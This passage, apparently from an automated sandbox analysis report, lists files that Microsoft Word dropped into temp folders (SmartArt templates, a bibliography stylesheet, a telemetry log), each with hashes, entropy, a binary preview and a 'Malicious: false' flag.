Preview:	....1.2.....1.2.....1.....1.....1.2.....1.2.....1.2.....1.2.....(.....(.....(.....(.....(...j.o.n.e.s...j............................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...&...(.......0...6...8...>...@...D...F...J...L...P...R...V...X...\...h.......................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{A819D29E-C509-4877-A8AE-338D8493AB28}.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	2560
Entropy (8bit):	4.632848712240964
Encrypted:	false
SSDEEP:	48:ga5PE9NVwXG/iAFdoAFdoJAeAZrAeAe/XEm3+nV4AkoV4AkHGV93:ncyEdoEdoJclcePx+i5T5G
MD5:	793052A8CEB9745D36BD0F579556D6C9
SHA1:	A4F8BBC33F9918CEA738A05343BF2FA6559E2EA3
SHA-256:	29866985EF938D33B1840D78FAF955C01A4BE9CA12BF8C711C764116E269E3A2
SHA-512:	6AD664B0ED6228672A5FDAB631DD50F8752F772D7EF5BAE881172324FA31EC1215CC703DCE415A31DA96ACF9803CA82CCBCE1F6A8388CDD14E4919C42DAD72E4
Malicious:	false
Preview:	..l..S..sQ.N"..R.2.0.2.3.t^N.N.R.Re.4.3u.....w.....02.0.2.3.t^".?eN.N.R.Re.4..0.X.f..9hnc.V.[".?e..0.V.[.z.R;`@\.0.V.[.^:W.vcw.{.t;`@\.0.]FUL.?e.{.t@\T..T.N.S...02.0.2.3.t^".?e.R.Re.4..0.s.]._U\.0..2..0.]D.e.4..0.u.`e.4..0>y.Oe.4..0;S.Oe.4..0.k.N.ue.4..0-N..~.b.].u;me.4..0.]..e.4..0.N..e.4..0;S.u.Oi..01Y.N.Oi..0.u...Oi.I{.0..3..0..L.&.7b.\.O.Y.Q.N.{e.....6e0R...w.T.....zsS.O(uKb:gkb.Nkb.N.N.N.~.x.......S.0..........................................................................................................2...4...X...........L.......L...j...n........................................................................................................................................................................................................................................................................................................................................................................$...x..dh.....i.^.x.a$......$.a$......$.........`...a$.....$..&..F..........`...a$.

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1733111866540649900_AF7DBA7A-86BE-45D1-90EE-946D797784AC.log

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	ASCII text, with very long lines (5826), with CRLF line terminators
Category:	dropped
Size (bytes):	29970
Entropy (8bit):	5.504807007156824
Encrypted:	false
SSDEEP:	768:14TnbjYUePVIYO/yYQlM+Qnqgm/Fu0KPcDnV86l8W8B2Nu5JuHYYowO/WB:14TnbjYUedRO/yYQlM+Qqgm/7KPcDnVH
MD5:	9F13954F7647522A4055EBE095B9EC6E
SHA1:	CF9554FAF96FBFFF4AC86CF602CD1FDF1B35DA2E
SHA-256:	87601B73B363CCF365266CED3D00C4F2BB29D42127DAC711A3AF398439C4AFB8
SHA-512:	DEF8337B8B9233F9CC71C51FE78B4B3F9F8B5951D25F723DF4FBE5336ABE0FF9FEFFE3977E71D80A7EBBD98AAE78A4077CBDE52F76C0902CED3E3AC95A8F4E0C
Malicious:	false
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..12/02/2024 03:57:46.738.WINWORD (0x10D8).0x87C.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":23,"Time":"2024-12-02T03:57:46.738Z","Contract":"Office.System.Activity","Activity.CV":"erp9r76G0UWQ7pRteXeErA.7.1","Activity.Duration":144,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Activity.Result.Code":-2147024890,"Activity.Result.Type":"HRESULT","Activity.Result.Tag":528307459}...12/02/2024 03:57:46.753.WINWORD (0x10D8).0x87C.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.ProcessIdleQueueJob","Flags":33777014401990913,"InternalSequenceNumber":24,"Time":"2024-12-02T03:57:46.753Z","Contract":"Office.System.Activity","Activity.CV":"erp9r76G0UWQ7pRteXeErA.7","Activity.Duration":11788,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Data.FailureDi

C:\Users\user\AppData\Local\Temp\TCDE74C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.4680595384446202
Encrypted:	false
SSDEEP:	6:fxnxUXivlE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyydGHmD0+dAH/luWvv
MD5:	D79B5DE6D93AC06005761D88783B3EE6
SHA1:	E05BDCE2673B6AA8CBB17A138751EDFA2264DB91
SHA-256:	96125D6804544B8D4E6AE8638EFD4BD1F96A1BFB9EEF57337FFF40BA9FF4CDD1
SHA-512:	34057F7B2AB273964CB086D8A7DF09A4E05D244A1A27E7589BDC7E5679AB5F587FAB52A2261DB22070DA11EF016F7386635A2B8E54D83730E77A7B142C2E3929
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .a.r.c.h.i.t.e.c.t.u.r.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE74C.tmp\architecture.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Local\Temp\TCDE75C.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5280239200222887
Encrypted:	false
SSDEEP:	6:fxnxUXQAl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyllNGHmD0wbnKYZAH/lMZqiv
MD5:	877A8A960B2140E3A0A2752550959DB9
SHA1:	FBEC17B332CBC42F2F16A1A08767623C7955DF48
SHA-256:	FE07084A41CF7DB58B06D2C0D11BCACB603D6574261D1E7EBADCFF85F39AFB47
SHA-512:	B8B660374EC6504B3B5FCC7DAC63AF30A0C9D24306C36B33B33B23186EC96AEFE958A3851FF3BC57FBA72A1334F633A19C0B8D253BB79AA5E5AFE4A247105889
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.b...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDE75C.tmp\gb.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDE7BF.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4721586910685547
Encrypted:	false
SSDEEP:	6:fxnxUX9+RclTloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyteUTloGHmD0+dAH/luWvv
MD5:	4DD225E2A305B50AF39084CE568B8110
SHA1:	C85173D49FC1522121AA2B0B2E98ADF4BB95B897
SHA-256:	6F00DD73F169C73D425CB9895DAC12387E21C6E4C9C7DDCFB03AC32552E577F4
SHA-512:	0493AB431004191381FF84AD7CC46BD09A1E0FEEC16B3183089AA8C20CC7E491FAE86FE0668A9AC677F435A203E494F5E6E9E4A0571962F6021D6156B288B28A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.e.v.r.o.n.a.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE7BF.tmp\chevronaccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Local\Temp\TCDE7C0.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.4895685222798054
Encrypted:	false
SSDEEP:	6:fxnxUX4cPBl4xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyPl4xoGHmD0+dAH/luWvv
MD5:	63E8B0621B5DEFE1EF17F02EFBFC2436
SHA1:	2D02AD4FD9BF89F453683B7D2B3557BC1EEEE953
SHA-256:	9243D99795DCDAD26FA857CB2740E58E3ED581E3FAEF0CB3781CBCD25FB4EE06
SHA-512:	A27CDA84DF5AD906C9A60152F166E7BD517266CAA447195E6435997280104CBF83037F7B05AE9D4617323895DCA471117D8C150E32A3855156CB156E15FA5864
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.r.y.i.n.g.W.i.d.t.h.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE7C0.tmp\VaryingWidthList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Local\Temp\TCDE7D1.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.494357416502254
Encrypted:	false
SSDEEP:	6:fxnxUX0XPE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyEXPGHmD0+dAH/luWvv
MD5:	6F8FE7B05855C203F6DEC5C31885DD08
SHA1:	9CC27D17B654C6205284DECA3278DA0DD0153AFF
SHA-256:	B7F58DF058C938CCF39054B31472DC76E18A3764B78B414088A261E440870175
SHA-512:	C518A243E51CB4A1E3C227F6A8A8D9532EE111D5A1C86EBBB23BD4328D92CD6A0587DF65B3B40A0BE2576D8755686D2A3A55E10444D5BB09FC4E0194DB70AFE6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.h.e.m.e.P.i.c.t.u.r.e.G.r.i.d...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE7D1.tmp\ThemePictureGrid.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	6193
Entropy (8bit):	7.855499268199703
Encrypted:	false
SSDEEP:	192:WavHMKgnU2HUGFhUnkbOKoztj1QfcnLYut3d8:YKeUlGXUnC+HQSMp
MD5:	031C246FFE0E2B623BBBD231E414E0D2
SHA1:	A57CA6134779D54691A4EFD344BC6948E253E0BA
SHA-256:	2D76C8D1D59EDB40D1FBBC6406A06577400582D1659A544269500479B6753CF7
SHA-512:	6A784C28E12C3740300883A0E690F560072A3EA8199977CBD7F260A21E8346B82BA8A4F78394D3BB53FA2E98564B764C2D0232C40B25FB6085C36D20D70A39D1
Malicious:	false
Preview:	PK........X..<..Zn\|...........diagrams/layout1.xmlz........]..H.}......M,l#g.j:.G-eu.S=.$......T_6..I...6...d.NJ....r.p.p.........\|.z.K.M..L.T.(........<..ks.......o...t}...P...7...`.+.[...H..._..X.u.....N....n....n\|..=.....K.:.G7.u....."g.n.h...O.,...c...f.b.P......>[l.....j..?..mxk..n..\|A...,\o..j..wQ.....lw.~].Lh..{3Y..D..5.Y..n..Mh.r..J....6.<.kO...Alv.._.qdKQ.5...-FMN......;.~..._..pv..&...%"Nz].n............vM.`..k..a.:.f]...a........y.....g0..`........\|V...Yq.....#...8....n..i7w<2Rp...R.@.]..%.b%..~...a..<.j...&....?...Qp..Ow\|&4>...d.O.\|.\|...Fk;t.P[A..i.6K.~...Y.N..9......~<Q..f...i.....6..U...l. ..E..4$Lw..p..Y%NR..;...B\|B.U...\e......S...=...B{A.]..*....5Q.....FI..w....q.s{.K....(.]...HJ9........(.....[U\|.....d71.Vv.....a.8...L.....k;1%.T.@+..uv.~v.]`.V....Z.....`.M.@..Z\|.r........./C..Z.n0.....@.YQ.8..q.h.....c.%...p..<..zl.c..FS.D..fY..z..=O..%L..MU..c.:.~.....F]c......5.=.8.r...0....Y.\o.o....U.~n...`...Wk..2b......I~

C:\Users\user\AppData\Local\Temp\TCDE7EB.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.48087342759872
Encrypted:	false
SSDEEP:	6:fxnxUXXt1MIae2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyfMIaRGHmD0+dAH/luWvv
MD5:	69757AF3677EA8D80A2FBE44DEE7B9E4
SHA1:	26AF5881B48F0CB81F194D1D96E3658F8763467C
SHA-256:	0F14CA656CDD95CAB385F9B722580DDE2F46F8622E17A63F4534072D86DF97C3
SHA-512:	BDA862300BAFC407D662872F0BFB5A7F2F72FE1B7341C1439A22A70098FA50C81D450144E757087778396496777410ADCE4B11B655455BEDC3D128B80CFB472A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.i.c.t.u.r.e.F.r.a.m.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE7EB.tmp\PictureFrame.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Local\Temp\TCDE7FC.tmp\BracketList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4026
Entropy (8bit):	7.809492693601857
Encrypted:	false
SSDEEP:	96:VpDCBFLhxaUGm5EWA07yNdKH1FQpy8tnX8Iz3b7TrT502+fPD:VpDYFFRMNU+RtXzLf35t+3D
MD5:	5D9BAD7ADB88CEE98C5203883261ACA1
SHA1:	FBF1647FCF19BCEA6C3CF4365C797338CA282CD2
SHA-256:	8CE600404BB3DB92A51B471D4AB8B166B566C6977C9BB63370718736376E0E2F
SHA-512:	7132923869A3DA2F2A75393959382599D7C4C05CA86B4B27271AB9EA95C7F2E80A16B45057F4FB729C9593F506208DC70AF2A635B90E4D8854AC06C787F6513D
Malicious:	false
Preview:	PK........YnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........bnB;?.......f......._rels/.rels...J.1.._%..f....m/.,x...&.lt.dV.y.\|.."v....q..\|......r..F..)..;.T5g.eP..O..Z.^-.8...<.Y....Q.."....D.%.!9.R&#".'0(.u}).!..l....b..J..rr....P.L.w..0.-......A..w..x.7U...Fu<mT.....^s...F./ ..( .4L..`.....}...O..4.L...+H.z...m..j[].=........oY}.PK........J.L6...m....,.......diagrams/layout1.xml.X.n.8.}N.....PG.............wZ.,.R.%.K...J.H]....y.3..9...O..5."J.1.\.1....Q....z......e.5].)...$b.C)...Gx!...J3..N..H...s....9.~...#..$...W.8..I`\|..0xH}......L.\|..(V;..1...kF..O=...j...G.X.....T.,d>.w.Xs.......3L.r..er\o..D..^....O.F.{:.>.R'....Y-...B.P.;....X.'c...{x.M7..><l.1.w..{].46.>.z.E.J.......G......Hd..$..7....E.

C:\Users\user\AppData\Local\Temp\TCDE7FC.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	250
Entropy (8bit):	3.4916022431157345
Encrypted:	false
SSDEEP:	6:fxnxUXsAl8xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8A8xoGHmD0+dAH/luWvv
MD5:	1A314B08BB9194A41E3794EF54017811
SHA1:	D1E70DB69CA737101524C75E634BB72F969464FF
SHA-256:	9025DD691FCAD181D5FD5952C7AA3728CD8A2CAF20DEA14930876419BED9B379
SHA-512:	AB29C8674A85711EABAE5F9559E9048FE91A2F51EB12D5A46152A310DE59F759DF8C617DA248798A7C20F60E26FBB1B0FC8DB47C46B098BCD26CF8CE78989ACA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.r.a.c.k.e.t.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE7FD.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.4901887319218092
Encrypted:	false
SSDEEP:	6:fxnxUXqhBMl0OoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyiMl0OoGHmD0+dAH/luWvv
MD5:	52BD0762F3DC77334807DDFC60D5F304
SHA1:	5962DA7C58F742046A116DDDA5DC8EA889C4CB0E
SHA-256:	30C20CC835E912A6DD89FD1BF5F7D92B233B2EC24594F1C1FE0CADB03A8C3FAB
SHA-512:	FB68B1CF9677A00D5651C51EC604B61DAC2D250D44A71D43CD69F41F16E4F0A7BAA7AD4A6F7BB870429297465A893013BBD7CC77A8F709AD6DB97F5A0927B1DD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .R.a.d.i.a.l.P.i.c.t.u.r.e.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDE7FD.tmp\RadialPictureList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
